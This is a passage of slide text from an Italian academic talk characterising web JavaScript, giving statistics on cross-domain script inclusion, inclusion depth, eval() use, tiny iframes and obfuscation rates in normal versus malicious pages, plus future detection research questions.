  • 41. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Inclusione di script da URL diversi Quanto ` diffusa l’inclusione di script da url diversi? e (c) Distribuzione nelle pagine Normal (d) Distribuzione nelle pagine Malicious Normal: → il 90% pagine include Embedded Script da un altro dominio → il 20% pagine include Child Script da 2 domini diversi → il 10% pagine include Child Script da 3 domini diversi Malicious: → minima percentuale di pagine include script da 2 domini diversi Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 42. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Profondit` di inclusione a livello script a A che profondit` di inclusione si arriva per includere script? a Percentuale di script calcolata sul numero totale di script (e) Distribuzione nelle pagine Normal (f) Distribuzione nelle pagine Malicious Normal: → l’85% degli script presenti ha profondit` pari a 1 a → ≈ 13% ` caratterizzato da livello di profondit` uguale a 2 e a Malicious: → l’70% degli script presenti ha profondit` pari a 1 a → ≈ 30% ` caratterizzato da livello di profondit` uguale a 2 e Sara Zambon a Caratterizzazione dei codici JavaScript nel Web
  • 43. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Profondit` di inclusione a livello script a A che profondit` di inclusione si arriva per includere script? a Percentuale di script calcolata sulla dimensione degli script (g) Distribuzione nelle pagine Normal (h) Distribuzione nelle pagine Malicious Normal: → l’85% del codice incluso ha profondit` 2 a Malicious: → la situazione non varia di molto rispetto al caso precedente Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 44. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Utilizzo di eval() Quanto ` diffuso l’utilizzo di eval()? e Normal: → nel 2,7% delle pagine sono presenti script contenenti eval() Malicious e Interesting: → in pi` dell’8% delle pagine sono presenti script contenenti eval() u Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 45. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Utilizzo di eval() Quanto ` diffuso l’utilizzo di eval()? e (con argomento superiore ai 140 caratteri) Normal: → quasi totalit` di script contententi eval() ` del tipo Child Script a e Malicious: → maggior numero di script contententi eval() fra gli Embedded Script Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 46. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Utilizzo di iframe sospettosamente piccoli Quanto ` diffusa l’inclusione di frame e iframe sospettosamente piccoli? e Normal: → l’8,5% delle pagine include un frame o un iframe praticamente invisibile → il 3% delle pagine ne include 2 → una minima percentuale di pagine arriva ad includerne 16 Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 47. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Percentuali di script offuscati Quanto ` diffuso l’utilizzo di tecniche di offuscamento? e (i) Criterio “Soglie sulle features” (j) Criterio “Classificatore MLP” Soglie sulle features: → evidenzia offuscamento negli Embedded Script delle pagine Malicious Classificatore MLP: → evidenzia offuscamento quasi esclusivamente nei Child Script Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 48. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Gli sviluppi futuri Nuove analisi: 1 nuove propriet` a ⇒ possibile discernere pagine maligne da benigne? ⇒ possibile classificare pagine senza disporre di liste aggiornate sui siti infetti? 2 studio dell’aspetto dinamico della pagina ⇒ possibile distinguere manipolazioni fraudolente da legittime? Sara Zambon Caratterizzazione dei codici JavaScript nel Web

×